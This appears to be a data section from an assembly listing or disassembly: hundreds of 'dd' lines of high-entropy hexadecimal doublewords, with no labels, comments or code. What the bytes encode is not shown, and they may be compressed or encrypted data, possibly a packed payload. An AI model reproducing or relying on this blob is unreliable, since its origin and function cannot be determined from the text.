dd 0EE483A7Bh, 0E1197C00h, 8B7EF9C6h, 708C8E1Ch, 50305052h
dd 0E2CE4636h, 72580249h, 0D5E8BD68h, 0AEBCF848h, 64FB1927h
dd 330E000h, 439404A4h, 1D9067FDh, 4C248031h, 0BB041465h
dd 0E8006F0Eh, 28F7B649h, 4484Ch, 192FDF7Dh, 10F4C7CEh
dd 764F0CF2h, 58DBCD12h, 0D7B8F000h, 5D266CAh, 697F62A1h
dd 0BA83BF11h, 35200EA2h, 66E50A3Dh, 652038F1h, 786A46h
dd 13318FF0h, 0CD0A742Ch, 0B7284695h, 3F050810h, 5C9D2E04h
dd 0C0FCCD25h, 0DEDB0780h, 0D0015E0Ah, 43C541E3h, 2468A3BAh
dd 0D3844F88h, 0E481F7FBh, 209F1620h, 129355Dh, 0D57C71F4h
dd 0F0D9C5C6h, 67044E29h, 55F28BFFh, 800040A2h, 0EBA3C15Fh
dd 0A400DAC4h, 6F9923D1h, 0FC2B314Dh, 8ACA009Dh, 0C25BFCB9h
dd 0F400B236h, 716BF252h, 11E1B7h, 0DD72A0DAh, 6C2AD5C7h
dd 2575D3Ah, 0EB9ABF52h, 0E434E0E8h, 0F2D100CAh, 17D6328Bh
dd 3B0079D8h, 0AD9F353h, 1F7F85B6h, 40CCEFD0h, 366476A6h
dd 0AC60B842h, 0D1B624D1h, 9ECE31C9h, 72F85910h, 87983A80h
dd 0DC270AA0h, 6631ECh, 4EF9160Ch, 0FB423CD9h, 4F2E69ECh
dd 520030A8h, 0D8D3ED7h, 0FDC72AEh, 129BDE89h, 188C0B60h
dd 3033D344h, 0E0071106h, 80109834h, 49005024h, 2BF4853Eh
dd 79502h, 0F206176Ch, 46A34CEh, 0A828DF6Eh, 47914Eh, 4044340Ah
dd 1EE788B1h, 0CE295D9Ch, 0A402F2FFh, 4F609060h, 5800FCBAh
dd 0FB8A67C9h, 34CC6Ah, 0CB229450h, 6B8B2ABBh, 79EE1B07h
dd 0B9205EE7h, 790113A5h, 2D8D00FAh, 0EDC6419h, 62002872h
dd 0B886EB89h, 464481h, 0F0AA1E42h, 38EE5B10h, 7262F800h
dd 88828901h, 4C7E47h, 45A167E4h, 1EA5C571h, 0AE3EFE75h
dd 0D5A80035h, 92241BC2h, 496B009Dh, 6A6C29BFh, 0A5F8662Bh
dd 0AA54D903h, 0B8205C8Fh, 13F1F2D8h, 0B2B637h, 0B4811D60h
dd 5650D019h, 880099ACh, 2BC08D45h, 67E83Ch, 4721E793h
dd 0C5763EEAh, 0B101697Bh, 8F7A06A5h, 0A9200E58h, 0F38A03E0h
dd 521B83A8h, 0CCA2E2B0h, 1236DE00h, 0A43EEF45h, 4EC7004Fh
dd 0C66CBBA0h, 8B7D77BDh, 0B396671Ch, 0ED0EF800h, 238D7Eh
dd 0A3474137h, 283A6FA1h, 5414D677h, 15F80AD4h, 3EC0D068h
dd 37BF8027h, 571D7187h, 707500DEh, 0D0B448F4h, 0BB015650h
dd 5A95EE45h, 0E5D40824h, 52AE0038h, 0B2CDE29Ah, 0B90E94DEh
dd 20F1A940h, 3F1073ADh, 0AE63064Ch, 18ABA76Dh, 4ABFC000h
dd 16DD1C9Eh, 39D902E5h, 5C9C1D0Dh, 0D0567C60h, 0F7002FE2h
dd 4951EB61h, 5D90A2h, 3A761FE0h, 65C303B2h, 94995Ch, 9CA7BF2Eh
dd 4BF233h, 21E667ACh, 0A583F1F0h, 12160C72h, 0F9002AE5h
dd 6175B5B8h, 9082EC07h, 0C1AE007Ch, 6E81402Ch, 1800EC86h
dd 478DE694h, 204F37h, 0C2AC4821h, 1FA0BF46h, 0FAFB2F01h
dd 5F250EBCh, 88BBC643h, 0DACAF8h, 5794097Eh, 0E3A5212Eh
dd 0DD3B80E2h, 0EAD480ECh, 96F229A2h, 86C400F0h, 2640BD3Bh
dd 23070A2Fh, 72A5933Ch, 408057B4h, 7466394h, 0C6562F4h
dd 708CE7B8h, 0D59EACCFh, 9C680602h, 0C0B3E978h, 0C221B2Dh
dd 0C7B79A24h, 8F09EA16h, 5AA2979h, 0CDC5B4B6h, 261DF452h
dd 11976440h, 5A1F9Eh, 790C0E3Eh, 714B1238h, 7BF5700h
dd 644A55AAh, 0F9680EFDh, 3BA0BB4Dh, 6B39B841h, 0B5082101h
dd 5FD18B83h, 3C72B083h, 4DB0F605h, 0D00069F0h, 95138A8Dh
dd 3F934A7h, 5066D639h, 29908C05h, 6304E46Ah, 0D0A63897h
dd 4FEE8080h, 0F80F00ECh, 927343B5h, 0EF0380FCh, 0B4C9975Fh
dd 3109D014h, 452939AAh, 9695A500h, 42CACC90h, 397410C1h
dd 104077B0h, 1C3BE748h, 0C04E6DC1h, 0C651254Bh, 3005971h
dd 203EE91Fh, 9022369h, 0C94AFE81h, 250B0800h, 0BF04945Bh
dd 0F5EFA6E8h, 782FFC80h, 5588008Eh, 0B89A5365h, 0E500CAF2h
dd 4F31CB36h, 990875h, 38B38AD7h, 797312FDh, 0C83EB200h
dd 0E9A2FC7Fh, 8E6402F1h, 48A92CAFh, 2D441460h, 0A1740A40h
dd 22FC6FCCh, 79DA00D7h, 0BB4A6C2Bh, 65144070h, 0B42A34h
dd 0A35712A7h, 118F616h, 2BF317A8h, 8309F1C5h, 38AEF768h
dd 0BE158879h, 7830FDFBh, 996E004Bh, 0D4C5A849h, 9D00A05Ah
dd 8AD61E3Eh, 0A9F1F7h, 0F301289Bh, 264B3CCEh, 0F53DC307h
dd 16D16F02h, 9520C864h, 536D0323h, 0CBD4BBBh, 6C1DB804h
dd 0FA80384Ch, 0F4594EFh, 0FAF70F21h, 9858AC41h, 40C30EEh
dd 167E48h, 0BE72F392h, 9C483Ch, 32B4D31Ah, 0F6137383h
dd 0A6EF7109h, 0CBF880E4h, 25F209h, 0E203EA06h, 4CE5971Ch
dd 4000A170h, 0E768DA22h, 3EF0176h, 0AE266AC8h, 55A02DD8h
dd 4500CDA7h, 0BB9FA72h, 343944h, 57A35F15h, 485A78F6h
dd 7773F33Fh, 0B98FFD00h, 0C4BCF08Dh, 0D7FF3D28h, 250720C8h
dd 805A2608h, 9DDA4824h, 0E418FC60h, 777D652h, 619EDDFAh
dd 4F7C103Ah, 40548687h, 9001C1E8h, 2AB273C2h, 83031A1h
dd 0AC4C0752h, 0AA4D6205h, 75BF00A9h, 461B5E5Dh, 40F06801h
dd 0B372AC08h, 667CC8h, 1A92BB59h, 0B9F2105Ch, 0C1EA5DEEh
dd 4A02D800h, 0F3F6FFB0h, 0F50707ABh, 616B0999h, 60F975B1h
dd 471680A2h, 0BC400CF0h, 561F3BECh, 0C084006Bh, 0F87BCDF9h
dd 423AEF38h, 61C100BCh, 9AD3F75Bh, 48567F4Ah, 0E0005C81h
dd 0EDA66E0Ch, 85047505h, 711C321Ah, 0D95DB7C3h, 470965Ah
dd 0FDFC0034h, 0DD9B12F7h, 8449A53Ch, 99621EA8h, 0A4002293h
dd 8836C340h, 767472h, 29737787h, 2379698Bh, 7B6F9100h
dd 46628E21h, 61951326h, 58870141h, 609A1C40h, 0A53F1010h
dd 8D9E055Dh, 60D048E2h, 742BE8D4h, 11AC1387h, 4A7840CBh
dd 0CA8E8032h, 9728770Eh, 89378EC2h, 20F18BEBh, 0E38A8C78h
dd 32050348h, 0A7BEFABh, 2091C4A0h, 9502C578h, 823314E5h
dd 0E397818Ch, 0A3D8AE6Ch, 0D6CA0058h, 1DD954EEh, 3F00FF03h
dd 7BFE7384h, 3A2B80DDh, 5D0D164Ah, 0CCA9521Ch, 8A015942h
dd 150CC5D6h, 8409A8Bh, 60E5CC94h, 7B9B8079h, 5766C8E6h
dd 3FAD639h, 63E0564Eh, 20A75E4Dh, 0D103314Fh, 1178CA50h
dd 0F7039281h, 0CCE005DAh, 54179814h, 0D8004FABh, 0AC09080Ah
dd 24E500EAh, 683C1187h, 0A700C5D5h, 0BE36157Ch, 19C754h
dd 0D8F6C60Eh, 92DB561h, 1E165700h, 114177C1h, 4E04DF7h
dd 78A80078h, 0FD562FDEh, 19C0F18Bh, 1C03C742h, 15313EBh
dd 0D53F1E08h, 0D107BC2Ch, 0F0D87F4Bh, 772488CEh, 0A3BC6F2Ch
dd 832F1906h, 7D00018h, 853126B1h, 0D3780406h, 37B8731Eh
dd 8CE69200h, 6CC6F4CEh, 7F581AC8h, 0C4AE9300h, 1CD60F9Bh
dd 9FCB0F79h, 5407A070h, 281F0611h, 5730C3F8h, 14E185Ch
dd 9914614Bh, 0F8DD2BFAh, 68CFC48Dh, 1E7AC098h, 0C0ACEEEh
dd 0F31B93BCh, 8E32D6A1h, 20E2800Ch, 7FA39146h, 0B27B58C3h
dd 0A80F890h, 33C1188Dh, 0D740180Bh, 0E9BC650Fh, 4CDC8753h
dd 800D5B82h, 57F67994h, 179B0940h, 274448h, 4AB5A7DEh
dd 90721C48h, 431382F5h, 458C00DFh, 6C92C790h, 0E8520933h
dd 0B56CC42Fh, 6D010EF1h, 6E07DF75h, 941C204Ch, 0D2DB4B15h
dd 127F0DCCh, 82611843h, 2DB04050h, 951607ADh, 30A32162h
dd 40049AAAh, 9F33F203h, 0E05C3D57h, 29E576h, 2DEDE795h
dd 0E9BB4397h, 77D458C7h, 590AC46h, 57D09567h, 7B8C0C2Ah
dd 0C8C07AE8h, 0AF071174h, 5B28C4A3h, 10BCC77Dh, 0EF10CBF6h
dd 0C7207C62h, 0BFCC08B4h, 99D67587h, 27116CA4h, 2E157101h
dd 80765A97h, 0A3779943h, 51212C20h, 3C3300A4h, 1293DF4Ch
dd 10E488D0h, 0C604AC47h, 841746C2h, 3A4A5C8h, 94D0FB38h
dd 8912EA49h, 6F0D0A92h, 3BEC90A6h, 0F0DD608Fh, 39068CB5h
dd 10FE4B30h, 0F34CDEh, 8EB402DBh, 0F66A9F86h, 0BF3AE901h
dd 3D387F77h, 0E06515E4h, 5C71CFh, 954C9B4Dh, 90ED68C4h
dd 0AA301D01h, 1B501AF2h, 0F35D4h, 49281F8Fh, 0BFCF78DEh
dd 0E6597E00h, 5ECA0C66h, 256500F6h, 0E9470661h, 17001592h
dd 19606AFCh, 1FEECBD9h, 40CA435Fh, 0F897EBFAh, 0FC00E69Bh
dd 448D9355h, 0A854E4h, 8A980AB1h, 0F9EBBADCh, 0B447921Ch
dd 0E06A484Eh, 6F8DBB55h, 53E507F8h, 85AB6D64h, 0F19A803Dh
dd 5F005575h, 57A1FDF9h, 0F0A6DFFCh, 0A2FA1EEEh, 0FB32CD54h
dd 83040A31h, 0CC1D72h, 3570C510h, 0A524327Bh, 0FA627A00h
dd 20BB1653h, 217200AEh, 0C587DE2Ch, 7864C486h, 2F219128h
dd 101D12CCh, 51C83D5Dh, 0C37542BDh, 64213924h, 0A929903Eh
dd 4435A784h, 0D5462B55h, 7CEA79C3h, 89D4BB88h, 6C144151h
dd 138112C2h, 8D26C9DAh, 0EEBF0079h, 0F98B8333h, 3700DDC8h
dd 0D73A685Ah, 1CA313B0h, 0AE666Bh, 0ACE248D5h, 100AB31h
dd 238BDC0Fh, 6B7165h, 4C10C641h, 8EACB685h, 4F379007h
dd 0DE6A43h, 16B25474h, 0B74D0079h, 0C15747DDh, 0E500E3E8h
dd 0A14E9C07h, 3E71665h, 3541CD0Bh, 0DB0C9FCh, 3D059FA3h
dd 5E7FFD18h, 0A0082C5h, 2595BE34h, 8B8F0031h, 73EFCA59h
dd 0A11D7686h, 87BCBBF9h, 3A278750h, 0D55C190h, 0AD97039Ah
dd 596F19ACh, 8011103Dh, 0E43FA6ECh, 7D843064h, 0D9C000EEh
dd 3AAD6335h, 65008E52h, 4683724Ah, 18980512h, 40517F45h
dd 0F01F62BAh, 9D04C5CDh, 28932F24h, 0F969807Dh, 73BD384Eh
dd 40A0279Ch, 0B7F843E3h, 0E200A3CFh, 77A6A1BAh, 0C0A5C1EDh
dd 0B9BD1B10h, 4560EECCh, 0C7BBC70h, 90130011h, 994C9317h
dd 8F4815CAh, 0DF9E0058h, 0E89CA6D5h, 0BF580EB2h, 5A00D7FFh
dd 8E8574E0h, 33A35400h, 827ED6A0h, 1C760018h, 3DACEC07h
dd 2A7956E2h, 0B043EF00h, 0A169C5B2h, 8B100D7h, 26D1A3E0h
dd 0C3F6C738h, 76FA0C00h, 0B8F21D45h, 93910074h, 4C2FB617h
dd 4378C133h, 4AFFAB00h, 0F9252CCBh, 36E46Dh, 72B741CFh
dd 4D450882h, 5D555B00h, 5F24ED2Bh, 27EA002Ah, 46AE9E4Bh
dd 4D1EBF6Bh, 0EB001C4Eh, 1A76C841h, 5AA8A038h, 6AD20074h
dd 0B3701B6h, 887C9815h, 0F2467300h, 53ECD64Ah, 3E7517E9h
dd 80751F0Dh, 493DF6E5h, 0A0019CC2h, 337AEEAh, 8DC56053h
dd 156BF8h, 0AA96829Ah
dd 0F25CF7DFh, 0BC8A4100h, 7F9E897h, 0B7A90057h, 9DB08254h
dd 3B5CBF06h, 15A515F6h, 85D400D8h, 9E021A81h, 0EF2C3F8Bh
dd 0CFCB0980h, 9541E4B9h, 33BB2402h, 415E1D62h, 0D5C49218h
dd 0F211EC36h, 0FFB32065h, 7DEA3D00h, 5A16D204h, 0BEB761Eh
dd 6862517h, 9CF73F81h, 53A2FC2Ah, 6113AE0Ah, 0DC00D89Bh
dd 6C58CDF5h, 7CC00CC8h, 9E18988Dh, 9A8EF900h, 9B973A94h
dd 0F0100220h, 8C458F3h, 7B8B040h, 0D2625F00h, 8B6F90C6h
dd 0CF680E21h, 2521CCB5h, 80DF056Ch, 26FB2DEEh, 50E788E5h
dd 898491h, 0D3933ECEh, 31240E79h, 671D4F03h, 0E872BA27h
dd 1F7FD7B9h, 87BEF4BFh, 0C04CD505h, 0F8E14E45h, 0AB18EB03h
dd 876DC0A7h, 0EDDC54C0h, 59FF00E9h, 0C80D09FDh, 5F1F0A58h
dd 0FA0076E5h, 7A4FA710h, 0CE0B0047h, 0A523E782h, 9114B351h
dd 0EA0B07Dh, 72B226h, 0AFCF4D3Ah, 2EEB0090h, 9240FF4Ch
dd 2F1E5CE0h, 0D80086F7h, 8459BDE8h, 5D7943h, 1836A296h
dd 42C903C4h, 0BAC7D902h, 0E0BC5016h, 0E30DCA6h, 0E5625141h
dd 0F6E64800h, 0BA3CA1E4h, 5F00FD0Ch, 0CA5B7FB1h, 70511A8h
dd 210D43BFh, 9FFC044h, 0FC00E320h, 3616D1Dh, 92FDEA0h
dd 392A8873h, 0ED5B8CB9h, 68803466h, 5E00BC90h, 0A46DECD1h
dd 32C6C13h, 778ABBDh, 95EF65D3h, 3303C0DBh, 0F40528F5h
dd 913F09C1h, 3CA2A4C0h, 0C28901FCh, 0DB1738ECh, 88C8D285h
dd 7092F894h, 1D25CA14h, 0A5E201E0h, 1EE1148Fh, 432C1080h
dd 0BEF57D85h, 477E880Fh, 0AD40FE20h, 0D4E0B14Bh, 796603E5h
dd 0D58FB52Ch, 3308EE88h, 0E27D60C3h, 0C2C93D42h, 5583B10Dh
dd 0A0642058h, 0A3FD6101h, 0E16214AFh, 5C0B8C20h, 932481F9h
dd 5BE500ACh, 0BBF52F91h, 0A54A3C00h, 17EE1B2Bh, 3B9E7866h
dd 2843F19h, 80E2CD69h, 74C82B78h, 0F9F8B201h, 0FFB59388h
dd 55F4D0h, 0B0AF03ECh, 76EADF60h, 0C7F22E0Fh, 1B56ED3h
dd 0E8043BD2h, 0F25A470h, 1F11DB7Ah, 62800073h, 0D531F487h
dd 0A0808B01h, 0C4301701h, 3E3BD820h, 2E8296EFh, 0C88FAA29h
dd 0FCD88140h, 2C47A106h, 3D8B051h, 0E6B106A6h, 1000BA9Ch
dd 48EC1360h, 1CBFE391h, 0C0CEDF84h, 12BB01B7h, 271CC818h
dd 6140097Eh, 0AC5E2556h, 0F70B003Fh, 52877BEEh, 8C2CE6BAh
dd 610B1053h, 6B382740h, 0FC132F87h, 2459E909h, 901034h
dd 2E27CA30h, 1B87E6FFh, 6AFEF0E1h, 8BD0C654h, 923B7A12h
dd 7CB3EC02h, 89560ABh, 0A0627FDCh, 1424CD8h, 788A3C57h
dd 8B45D80Dh, 1DA2719h, 0A6F3B834h, 8D6ADC40h, 9FD30088h
dd 4C837344h, 0A0C0F826h, 16F93864h, 0B0E0703Dh, 5C7A0308h
dd 7F6FC3BAh, 22A9B901h, 2D9E8F05h, 10A1096h, 0A7F00DABh
dd 566080B9h, 0FF7B50D1h, 3C21F4AEh, 30808D49h, 0B6DF1B9Fh
dd 0BE05162Bh, 8E5F3B2Ah, 0AA97E002h, 0D0904093h, 0E86E48E5h
dd 0B3ABB401h, 80DE36EFh, 0CAFEBA48h, 4C5ED77Ch, 3F263874h
dd 2B803892h, 0C05AECB9h, 0B24C0198h, 0A6121C34h, 0C177C440h
dd 8B5102h, 6DF362DFh, 97A4C804h, 3A2B2300h, 0A11CFC6Ah
dd 7CA81695h, 0DB544040h, 8C37E85Eh, 7D8DBE38h, 34240126h
dd 4654080h, 2AF36C51h, 11D01159h, 1F3A73B8h, 0E74EA3ACh
dd 0A2DE402Bh, 7E32F3E6h, 0DC2205B9h, 3B0E34Fh, 7B168294h
dd 0E4DE91C0h, 0D91270F9h, 0C680FA00h, 0A547C03Fh, 63CE0355h
dd 0AC1FE507h, 898021BAh, 6029BE82h, 58EA1B24h, 40CB980Eh
dd 5ACF30A4h, 0C8FCA34Ch, 7C01D3CAh, 33D517A1h, 0FB1CCDh
dd 0E258F2FAh, 0A3043CE9h, 41CAC395h, 0D4CEC3FEh, 5712C2A0h
dd 9F7F5800h, 1BFD88D9h, 47382582h, 0D650C002h, 8520A044h
dd 1AE6B2h, 3E34E8F5h, 74C12AD2h, 542D4D0Bh, 0E49C20C9h
dd 3CD9CD70h, 0A028C611h, 50DC0B80h, 90A188E9h, 0FE8C76B0h
dd 0BFF2F9E0h, 70935333h, 0A93FE8E7h, 0B060003h, 0AA64188Eh
dd 0BF01B86Fh, 2663491Fh, 77DC21BDh, 659F00E0h, 87FE8173h
dd 57072CD4h, 0B3C633A5h, 0E3759320h, 6E17C92h, 0A88BBAE9h
dd 3400986Ah, 0EF96685Eh, 30D8FC1Eh, 95D8B724h, 0D203BE0Bh
dd 0B36D66DEh, 0C898C16Fh, 0B545DB40h, 0C971007Ah, 0D0BCCE79h
dd 977668C0h, 0B25A9900h, 0CB1B5047h, 8AFC66h, 0C4AA6FA6h
dd 1532B930h, 5487BE00h, 195CE9CDh, 0C7A700E6h, 21896056h
dd 0B67BFA77h, 62FCAB00h, 2231F8F7h, 80E139FDh, 60A31380h
dd 0C51BF9Dh, 9800A973h, 0BD69C719h, 5EC80Fh, 0A818A052h
dd 0EFB4D629h, 6E015578h, 4D2CFD2Ah, 0E6F04158h, 3C622649h
dd 2018174Ch, 1F39CAA4h, 0CF042CB0h, 0A803B811h, 6EAF88D0h
dd 0D82405DCh, 8338FFF3h, 44E90AD8h, 1F01D47Bh, 0C463D07h
dd 2BE4FB80h, 3A1088C0h, 2ECA0076h, 39FCE74Fh, 0A0DF60Eh
dd 58260CB1h, 34A29800h, 38A800CDh, 0BF21563h, 2902BBB9h
dd 0CD8CFC8h, 560DC0D6h, 3DF058A8h, 97B08405h, 28B80018h
dd 0F19D7159h, 0A377AF00h, 0CC5A37ADh, 0F4E648h, 0E188786Bh
dd 8F1E0674h, 861BD426h, 2A9ED14h, 0CA129141h, 0A61961FEh
dd 0AED8A9C9h, 0F09A0072h, 5E5004A4h, 331C2794h, 10801607h
dd 0CE474C7Dh, 0D35D163Ch, 0C0771D6Ah, 446E28BBh, 8F0049C1h
dd 0A4437651h, 71CBACh, 0E49CCEA7h, 147693Eh, 54D1FF00h
dd 0C1877F5Bh, 70DFC78h, 0B36B72D3h, 989BF1C2h, 0FAECF869h
dd 0EDF35019h, 79D0D819h, 157AA1h, 0A78930E7h, 5AEFAB27h
dd 0E6007990h, 2CDE48D9h, 1349593h, 1E09CD05h, 0E0D7908Eh
dd 891B4EC5h, 0D898C332h, 0C103AEh, 6F9D7342h, 66A96CE4h
dd 37F2F013h, 0C4E55001h, 0DA205289h, 4D1A0042h, 0A4B6E61Bh
dd 2E001E9Bh, 8E45CC7h, 1FA6BA7Ch, 40AC1507h, 62A9B550h
dd 2F09D064h, 31B4DBh, 0BF0D489Ch, 3C4B0038h, 8E3EA3E3h
dd 0CA00649Bh, 0B768DF8Dh, 0D2BC31h, 0D045B086h, 59630812h
dd 0BB2BB801h, 0BE647189h, 1DC31DFCh, 0CC2A235Fh, 3A58B2EFh
dd 60DCA100h, 4759D340h, 9553009Ah, 49BC1BBh, 2900DF39h
dd 327F9944h, 60CE13h, 0C07ECDB1h, 529DF911h, 3CA3BF00h
dd 0B9639CD7h, 77A000DBh, 0BA4B2A85h, 0B4000D84h, 9F88C7E8h
dd 165E26D4h, 0FADFE45h, 8E8054C0h, 0A501AA9Ch, 4A820800h
dd 534BBCCCh, 0D4990034h, 0BF8C95B8h, 4400EFF1h, 1CDB5EFEh
dd 24B2CDh, 6FE13AE7h, 6EB57A2Fh, 0B3143D03h, 0F0A0A977h
dd 1E23311h, 0C47D7251h, 28D98EE9h, 0BC3F250Ch, 0A035207Ch
dd 79A8AF00h, 5CD5E1DAh, 4A1E128Eh, 2A2480A6h, 5624B82Dh
dd 0E11E18FCh, 3FFE9247h, 6C97DC61h, 2E5273ECh, 0A090BF29h
dd 5DA51DA7h, 66E1C138h, 604B2B72h, 70097534h, 80B6CCB9h
dd 0BE7A6BE4h, 0B2A7016Ah, 5E320B04h, 2728DCB4h, 0ECA578C0h
dd 604735h, 0E2454BEh, 2E3CB098h, 0AA6784E6h, 0DCF06312h
dd 0C83C733h, 0A88CDE68h, 0A02620D0h, 0F700619Ah, 0A18EE616h
dd 0A0B89Fh, 958BF1D6h, 0D18A298Dh, 0DDE79600h, 424D6191h
dd 144780Eh, 0F2F45E7Fh, 0F825A955h, 400788Fh, 5285C1A2h
dd 581657C3h, 9B0000F5h, 36CC8161h, 5B001001h, 0AA2A961Ch
dd 17E26C9h, 0EB39496Ah, 744AA5F3h, 0A4FFFECh, 0C6472440h
dd 7D2C24h, 0C7D75B55h, 0BBF15A8Dh, 85983F50h, 0B22E011Ah
dd 6D7061AEh, 0A2A860h, 89E24310h, 0F5E6F641h, 67946E00h
dd 833DA788h, 71662EB3h, 6F25050Ch, 0F788009Fh, 62A28031h
dd 37500978h, 3E0036B0h
dd 9803924Bh, 5E8CCEDh, 6B998941h, 0ADE0D073h, 3FE6C726h
dd 0C80B5Ch, 0E2EF8A84h, 609B6C48h, 0DAA3D0C2h, 4F03B727h
dd 0DB0E4C34h, 7A6EF888h, 4CACB22Bh, 7800DC52h, 2AE19663h
dd 430F35E7h, 21D7C6C0h, 0FC75A755h, 0B9B8C8h, 9D1951EBh
dd 5EBF4F37h, 863CF0FAh, 41E68066h, 557AAC63h, 901B502Fh
dd 5D741E79h, 52DF40C8h, 726E138Ch, 281EE1E2h, 0F2404193h
dd 29D9843Dh, 6FBC074Dh, 31E5CEF4h, 80730380h, 9B0EDA91h
dd 1D661E77h, 4056C42Bh, 3AAB38E9h, 0CAE83313h, 0D9793D01h
dd 76A5A958h, 1C1A08F8h, 819635D8h, 13735BECh, 2B8840C1h
dd 3D006FA1h, 9814BDD4h, 60B41E62h, 5D4F70F6h, 0EA73DBB7h
dd 6BFA4BF0h, 0BD6F7D0Eh, 5F4DE0C9h, 1C20B21Fh, 25C85FDh
dd 93D872C1h, 0E60788A1h, 3038FCh, 0A9D54696h, 125AC8FBh
dd 0F306F83h, 47A00630h, 0DB3D65D6h, 17C1770Eh, 0A321403Bh
dd 0F82B6E7h, 1E55C54Bh, 8C42F3E0h, 627352E6h, 0F80B657Fh
dd 82747h, 9CD5B98Fh, 33830039h, 3ABE9A15h, 50B4E116h
dd 0AC29DB00h, 64FC3194h, 804D2061h, 17D68134h, 7FEDEA04h
dd 2CA5F521h, 710C60D2h, 0A09EA3h, 4A7E7581h, 7A00CDB8h
dd 95388528h, 0EFFA642h, 0FCACD563h, 0D94D9380h, 480012D8h
dd 130561D6h, 33A6BD0h, 5D32EC83h, 1A0D5DDh, 0AE5C7625h
dd 1FFF00D4h, 8CC670C8h, 59CC001Ah, 95BF4E91h, 0DB14D9F8h
dd 12D4FC85h, 370002E9h, 0A6E00F13h, 9ED50247h, 0ECCF9367h
dd 8E94560h, 41F7B713h, 0BA056C00h, 0EC84321Dh, 0D46B0014h
dd 869094FFh, 8800456Ch, 0F4F11EC1h, 916760h, 0F718B792h
dd 497A7D42h, 0C871D600h, 0D86BAB48h, 50EC0047h, 42097840h
dd 5F007090h, 56588FA5h, 0C4DC07h, 51F9437Bh, 0B25CE3E1h
dd 0FF2A400h, 0DDD03132h, 8904CDBh, 0F4295F07h, 827F5123h
dd 0DCDAED07h, 390030E6h, 0A1DBC2D4h, 375874h, 0DD1559F1h
dd 7F77FEEAh, 80A44F00h, 6A39AD1Dh, 821000BEh, 156B0A1Ch
dd 31FBAE9h, 0BF84E126h, 5CB080AEh, 8F36007Eh, 24CA91EBh
dd 0F73BDBF3h, 0C4A8D482h, 0A5DF9607h, 92AEB868h, 0FDDC3C90h
dd 3C8B592Ah, 586DE301h, 0E421F832h, 0D1491633h, 45660920h
dd 94540799h, 285E8EE0h, 0D6821C1Eh, 35A4D5h, 1348BF85h
dd 0A9009FCCh, 0A2665D79h, 571C19h, 0F1E6D002h, 47946551h
dd 0EB1BF1Ch, 0A252D1DEh, 1FCC8100h, 0E95EA5h, 0B0AB5039h
dd 32915CFDh, 3FB61B00h, 443E2ED0h, 0A0110EE0h, 1FA0BD61h
dd 0C81814D9h, 0C720E718h, 0B511BE8h, 0EDC42D9Fh, 0E4CE7CA1h
dd 10F231E9h, 0A61A8BACh, 0E099DF0h, 310AD5Bh, 0F87D3BA7h
dd 0ED1E20Fh, 318C75EDh, 0E1086521h, 0C8F021A3h, 0E32AECD6h
dd 72F4B87Dh, 0EA01C49Ah, 0B8955F58h, 0D0401980h, 1FCD560Bh
dd 7662D7h, 939B1B01h, 0F000806Ah, 0AF7B5113h, 908B8760h
dd 3F330014h, 93CFFEB8h, 74005266h, 14B207F0h, 761E984Dh
dd 387BAFh, 613DE50Bh, 43D2FFB1h, 0AB005376h, 1DBEF1DCh
dd 4249206h, 4F1E3756h, 5170235h, 571360BDh, 5AD50384h
dd 230D06F4h, 0C0289AA0h, 14528E18h, 25190C9h, 3B820ACh
dd 0ADC0B61Eh, 509E8576h, 93CCA681h, 8AC4F817h, 0C2C70FFAh
dd 2F8082A8h, 4D92974Fh, 0C8FB3724h, 96A803Eh, 0C694A757h
dd 0B2320042h, 0E17C26B7h, 1C0089B9h, 289E18F8h, 0D8CE1Ah
dd 80C07734h, 0CD7A27AEh, 66F8F00h, 1EA3486Dh, 0CB402BDh
dd 344426DEh, 6E09DCD8h, 83D10902h, 805E9B11h, 93BFB7h
dd 2EE05988h, 8ADE4B3Ah, 0CAF06700h, 766DEA41h, 211E0FA0h
dd 0C6E090ADh, 0BF58A934h, 0E4412418h, 1CB909B8h, 0C3AF51C8h
dd 2EFCE9A3h, 1BA8A6F8h, 6CB26A1Fh, 0BBA0D284h, 21C2A8C4h
dd 7F48404Ah, 179D2C84h, 1338037Ch, 7CEA9F72h, 0EA8C175h
dd 721F874h, 4AA1260h, 2255E0CFh, 290E1CCCh, 0A00A87E4h
dd 8809FD03h, 7B0E0749h, 3245C5AEh, 0D080153Fh, 0E7726269h
dd 6D48D200h, 0C7E34910h, 1E8011Ah, 0C6D43A3Ch, 0FEB0DF38h
dd 0CC1C3335h, 3F7A9648h, 0BAE18E5Bh, 7AFB212Ah, 10854237h
dd 0F23878h, 0EFFF41CBh, 0E6005FECh, 0DAB01FD6h, 0DDEDC5h
dd 80BF8374h, 6FEB9FA7h, 3104902h, 8464753Ah, 0CA0DBFCh
dd 7C11C0C9h, 84D28F43h, 4201189Eh, 0BF6198DCh, 0E4775960h
dd 94455936h, 89EE9A00h, 1F070370h, 0F9B73428h, 98066A00h
dd 0AC0F23C8h, 102000C9h, 0B6E9DEA3h, 20F79434h, 75002FC0h
dd 96381C03h, 0AE075Fh, 926D07Eh, 0EBBE2B9Dh, 0E7184F00h
dd 0B98B8117h, 0E1F90A66h, 0F4E0F3h, 8243EF40h, 0D3F414C3h
dd 6B595300h, 1CF9E3A1h, 9CEB0099h, 54AADA32h, 0CD001DD4h
dd 52BE0B7Bh, 0DB5504h, 1159D8A8h, 0A2B5A6E1h, 1CBBC800h
dd 7B7862DFh, 0CDE200E9h, 183DA397h, 0C73B3EBCh, 0D8EB8276h
dd 7066136Bh, 990E00D8h, 256DDE4Fh, 0C9077F23h, 291F05DFh
dd 8ABEEFE0h, 5DCD0713h, 70F90326h, 2A5AEE94h, 0CA8DF028h
dd 102F4F00h, 0DDC1B56Bh, 7B4113A4h, 0C6D8013Eh, 7DE11E02h
dd 4ECCCEB4h, 6A84E2B8h, 0B1809847h, 0E8CA0E5h, 88C1002Dh
dd 2863C71Fh, 120CADBFh, 20EEE889h, 0BBE17C3h, 0F4A040F7h
dd 6E12DFACh, 0ED7ABA00h, 63C5E51Eh, 0D4DB2465h, 97498700h
dd 4098F63Ch, 0B211B305h, 0C4E003BFh, 0CF1902C2h, 0CA3D134Bh
dd 0AD0F7058h, 0FB9781h, 0EDA61D1Bh, 65372426h, 0CB8A4134h
dd 88FD1041h, 0FFF89Eh, 40B6B109h, 22D98EB8h, 5C1DF370h
dd 2E47DD63h, 0EB20B7C2h, 0E61FC7BEh, 696500FDh, 77983BA1h
dd 1624EA8Bh, 3A00608Dh, 48994E0Ah, 0E56E00EBh, 1DCA78AEh
dd 7C04A6AAh, 0C452CCB8h, 0D3CE84C0h, 0E55401D9h, 0BD4C3B78h
